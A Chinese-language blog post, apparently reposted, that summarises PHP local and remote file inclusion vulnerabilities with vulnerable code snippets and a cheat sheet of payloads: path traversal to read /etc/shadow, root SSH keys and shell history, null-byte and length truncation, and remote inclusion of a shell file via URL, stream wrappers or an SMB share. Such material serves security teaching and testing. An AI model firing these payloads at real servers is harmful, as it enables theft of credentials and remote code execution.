標籤:blog http io ar os sp 檔案 div on
0x00 前言
PHP檔案包含漏洞的產生原因是在通過PHP的函數引入檔案時,由於傳入的檔案名稱沒有經過合理的校正,從而操作了預想之外的檔案,就可能導致意外的檔案泄露甚至惡意的代碼注入。最常見的就屬於本地檔案包含(Local File Inclusion)漏洞了。
我們來看下面一段index.php代碼:
if ($_GET[‘func‘]) { include $_GET[‘func‘];} else { include ‘default.php‘;}
程式的本意可能是當提交url為http://example.com/index.php?func=add.php時,調用add.php裡面的樣式內容和功能。直接存取http://example.com/index.php則會包含預設的default.php
那麼問題來了,如果我們提交http://example.com/index.php?func=upload/pic/evil.jpg ,且evil.jpg是由駭客上傳到伺服器上的一個圖片,在圖片的末尾添加了惡意的php代碼,那麼惡意的代碼就會被引入當前檔案執行。
如果被包含的檔案中無有效php代碼,則會直接把檔案內容輸出。
在接下來的內容中會以代碼樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地檔案包含
<?php include("inc/" . $_GET[‘file‘]); ?>
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個檔案儲存著所有檔案的路徑,需要root許可權)
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
?file=../attachment/media/xxx.file
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session檔案一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取設定檔。在某些特定的情況下如果你能夠控制session的值, 也許你能夠獲得一個shell)
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (檔案標識符)
/proc/mounts
/proc/config.gz
參見http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
0x02 有限制的本地檔案包含
<?php include("inc/" . $_GET[‘file‘] . ".htm"); ?>
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小於5.3.4有效)
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix檔案系統,比如FreeBSD,OpenBSD,NetBSD,Solaris)
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小於5.2.8(?)可以成功,linux需要檔案名稱長於4096,windows需要長於256)
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)
0x03 普通遠程檔案包含
<?php include($_GET[‘file‘]); ?>
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On並且 allow_url_include=On)
?file=php://input
(需要allow_url_include=On,詳細→http://php.net/manual/en/wrappers.php.php)
?file=php://filter/convert.base64-encode/resource=index.php
(同上)
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要allow_url_include=On)
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要allow_url_fopen=On,allow_url_include=On並且防火牆或者白名單不允許訪問外網時,先在同網站找一個XSS漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊- -)
0x04 有限制的本地檔案包含
<?php include($_GET[‘file‘] . ".htm"); ?>
-
?file=http://example.com/shell
-
?file=http://example.com/shell.txt?
-
?file=http://example.com/shell.txt%23
(需要allow_url_fopen=On並且allow_url_include=On)
- ?file=\evilshare\shell.php (只需要allow_url_include=On)
0x05 延伸
其實在前面也說了,這些漏洞產生原因是PHP函數在引入檔案時,傳入的檔案名稱沒有經過合理的校正,從而操作了預想之外的檔案。實際上我們操作檔案的函數不只是include()一個,上面提到的一些截斷的方法同樣可以適用於以下函數:
參考文章:
http://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/
http://www.digininja.org/blog/when_all_you_can_do_is_read.php
http://wiki.apache.org/httpd/DistrosDefaultLayout
http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
http://www.coresec.org/2011/05/12/local-file-inclusion-to-remote-command-execution-using-ssh/
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/
- 本文來自:愛好Linux技術網
- 本文連結:http://www.ahlinux.com/safe/8967.html
PHP檔案包含漏洞總結